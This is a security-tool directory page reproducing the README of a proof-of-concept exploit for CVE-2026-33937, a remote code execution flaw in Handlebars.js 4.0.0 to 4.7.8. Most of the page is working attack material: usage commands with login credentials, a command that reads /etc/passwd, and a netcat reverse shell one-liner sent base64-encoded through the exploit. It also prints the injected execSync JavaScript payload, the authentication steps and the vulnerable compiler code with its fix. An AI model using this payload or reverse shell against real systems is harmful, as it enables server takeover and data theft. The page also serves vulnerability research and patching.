Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33937 — Python POC, Exploit for Handlebars.js AST Injection RCE, Handlebars.js versions 4.0.0 through 4.7.8 are affected. CVSS score: 9.8 Critical. | Kitploit
Tools/GitHubGitHub/c0gnit00/cve-2026-33937
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubc0gnit00/cve-2026-33937

CVE-2026-33937

Python POC, Exploit for Handlebars.js AST Injection RCE, Handlebars.js versions 4.0.0 through 4.7.8 are affected. CVSS score: 9.8 Critical.

View Repository
131 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33937 — Handlebars.js AST Injection RCE

Handlebars.js versions 4.0.0 through 4.7.8 are affected. CVSS score: 9.8 Critical.


Overview

CVE-2026-33937 is a type confusion vulnerability in Handlebars.js. The Handlebars.compile() function accepts both a template string and a pre-parsed AST object as input. When an attacker passes a crafted AST object, the compiler's NumberLiteral visitor inserts the node's value field verbatim into the generated JavaScript function body without any sanitization. Calling render() on the result executes attacker-controlled code inside the Node.js process.


Usage

root@kitploit:~
python3 exploit.py --url <target>  --username <email> --password <pass> --command  <cmd>

Arguments

  • --url — Base URL of the target, e.g. (required)
http://hello.veer/
  • --username — Login email address (required)
  • --password — Login password (required)
  • --command — OS command to execute, default is id (optional)
  • Examples

    root@kitploit:~
    # Verify RCE
    python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
    
    # Read a file
    python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
    
    # To get reverse shell
    echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
    
    python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload>  | base64 -d | bash'
    

    How It Works

    Step 1 — Authentication

    The script performs a full login before exploiting. It first sends a GET request to /login to scrape the hidden _csrf token from the form, then submits that token along with the provided email and password as a form-encoded POST to /login. On success the server returns a 302 redirect to /dashboard and sets the dz.sid session cookie which is used for all subsequent requests.

    A fresh CSRF token is fetched automatically before each POST request because the app's CSRF middleware requires one on every mutating operation.

    Step 2 — Injection Point

    The application exposes POST /character which accepts Content-Type: application/json. This route creates a new D&D character and, when campaign_id is provided, passes the campaign_message field directly to Handlebars.compile() on the server:

    root@kitploit:~
    // Server-side Node.js (vulnerable)
    const render = Handlebars.compile(campaign_message);  // no type check
    const output = render({ name, race, class });          // payload executes here
    // output is stored as a campaign log entry
    

    When the request body is JSON, campaign_message can be a nested object (the AST) rather than a string, bypassing any form-layer string validation. The campaign_id field causes the server to store the rendered result as a campaign log message, which is then readable at GET /campaign/1 — giving the attacker out-of-band command output.

    Step 3 — AST Payload

    The exploit uses the NumberLiteral combined with the lookup helper.

    Normal compilation of {{lookup this 1}} produces:

    root@kitploit:~
    env.helpers.lookup(this, 1, {options})
    

    The injected NumberLiteral.value replaces the 1 with:

    root@kitploit:~
    {},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
    

    The emitted JavaScript becomes:

    root@kitploit:~
    env.helpers.lookup(this, {},{}))
    + process.mainModule.require('child_process').execSync('cmd').toString()
    // <remainder of expression is commented out>
    

    When render() is called, execSync() fires and its stdout is returned as the expression value, which is stored as the campaign message.

    Commands are wrapped internally as /bin/sh -c 'cmd 2>&1' so that commands with spaces, pipes, and redirects work correctly and stderr is captured alongside stdout.

    Step 4 — Output Extraction

    The script records the number of campaign messages before sending the payload. After the POST it fetches /campaign/1 again and slices messages[before_count:] to isolate the newly added entry. This approach correctly handles cases where the same command has been run before, since a set-based comparison would deduplicate identical outputs and miss the new result.


    Technical Root Cause

    Inside Handlebars.js javascript-compiler.js, the vulnerable code is:

    root@kitploit:~
    // Versions 4.0.0 – 4.7.8
    NumberLiteral(number) {
        this.pushStackLiteral(number.value);  // value inserted verbatim, no type check
    }
    

    Version 4.7.9 adds a type check at the compile() entry point that rejects any non-string input before the code generator is ever reached:

    root@kitploit:~
    // Patched in 4.7.9
    if (typeof input !== 'string') {
        throw new Handlebars.Exception(
            'You must pass a string or Handlebars AST to Handlebars.compile.'
        );
    }
    

    References

    • CVE-2026-33937 PoC by dinhvaren: https://github.com/dinhvaren/cve-2026-33937
    • Handlebars.js: https://handlebarsjs.com
    • Handlebars GitHub: https://github.com/handlebars-lang/handlebars.js

    Disclaimer

    This repository is intended solely for security research and education. Only use this exploit against systems you own or have explicit written authorization to test.

    Download Tool